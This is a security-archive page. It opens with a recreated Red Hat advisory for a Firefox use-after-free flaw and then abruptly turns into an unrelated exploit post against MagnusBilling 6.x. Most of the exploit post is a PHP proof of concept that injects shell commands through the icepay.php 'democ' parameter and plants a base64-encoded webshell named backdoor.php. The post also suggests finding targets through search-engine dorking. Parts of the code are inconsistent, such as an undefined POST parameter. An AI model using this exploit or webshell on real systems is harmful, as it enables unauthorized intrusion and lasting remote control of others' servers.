    The following advisory data is extracted from:https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_7977.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: firefox security updateAdvisory ID:        RHSA-2024:7977-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:7977Issue date:         2024-10-11Revision:           03CVE Names:          CVE-2024-9680====================================================================Summary: An update for firefox is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability.Security Fix(es):* firefox: Use-after-free in Animation timeline (128.3.1 ESR Chemspill) (CVE-2024-9680)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-9680References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2317442

Red Hat Security Advisory 2024-7977-03

MagnusBilling version 6.x suffers from a PHP code injection vulnerability.

=============================================================================================================================================  
| # Title     : MagnusBilling 6.x Code Injection Vulnerability                                                                              |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            |  
| # Vendor    : https://www.magnusbilling.org/                                                                                              |  
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] uses the CURL to Allow remote command .

[+] Line 83 set your target .

[+] save code as poc.php .

[+] USage : cmd => c:\www\test\php poc.php 

[+] PayLoad :

<?php

class MagnusBillingExploit {  
    private $targetUri;  
    private $webShellName;

    public function __construct($targetUri) {  
        $this->targetUri = $targetUri;  
    }

    // Function to execute commands on the target  
    public function executeCommand($cmd) {  
        $url = $this->targetUri . '/lib/icepay/icepay.php?democ=/dev/null;' . $cmd . ';#';  
        return file_get_contents($url); // Send HTTP request  
    }

    // Function to execute PHP code on the target  
    public function executePhp($cmd) {  
        $payload = base64_encode($cmd);  
        $url = $this->targetUri . '/lib/icepay/' . $this->webShellName;  
        $postFields = [$this->postParam => $payload];  
        return $this->sendPostRequest($url, $postFields); // Send POST request  
    }

    // Upload backdoor webshell to the target  
    public function uploadBackdoorWebShell() {  
        // Name of the webshell to be uploaded  
        $this->webShellName = "backdoor.php"; // Set a specific name for the backdoor file

        // Backdoor PHP code (this allows execution of commands passed through a GET parameter 'cmd')  
        $backdoorCode = "<?php if(isset(\$_GET['cmd'])){system(\$_GET['cmd']);} ?>";

        // Encode the webshell content  
        $encodedPayload = base64_encode($backdoorCode);

        // Construct the command to upload the backdoor  
        $cmd = "echo {$encodedPayload} | base64 -d > ./{$this->webShellName}";

        // Execute the command to upload the backdoor  
        return $this->executeCommand($cmd);  
    }

    // Check if the target can be exploited  
    public function check() {  
        $url = $this->targetUri;  
        $response = file_get_contents($url);  
        if (!$response || !preg_match('/MagnusBilling/i', $response)) {  
            return "Safe: Likely not a MagnusBilling application.";  
        }

        $sleepTime = rand(4, 8);  
        $this->executeCommand("sleep {$sleepTime}");  
        sleep($sleepTime); // Simulate blind command injection

        return "Vulnerable: Command injection successful.";  
    }

    // Main function to exploit the target  
    public function exploit() {  
        echo "Uploading backdoor...\n";  
        $result = $this->uploadBackdoorWebShell();  
        if (!$result) {  
            die("Backdoor upload failed.");  
        }  
        echo "Backdoor uploaded at: {$this->targetUri}/lib/icepay/{$this->webShellName}\n";  
    }

    // Helper function to send POST requests  
    private function sendPostRequest($url, $postFields) {  
        $options = [  
            'http' => [  
                'method' => 'POST',  
                'header' => 'Content-Type: application/x-www-form-urlencoded',  
                'content' => http_build_query($postFields)  
            ]  
        ];  
        $context = stream_context_create($options);  
        return file_get_contents($url, false, $context);  
    }  
}

// Usage example  
$exploit = new MagnusBillingExploit('http://target-url/mbilling');  
$exploit->exploit();

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

Tag

#web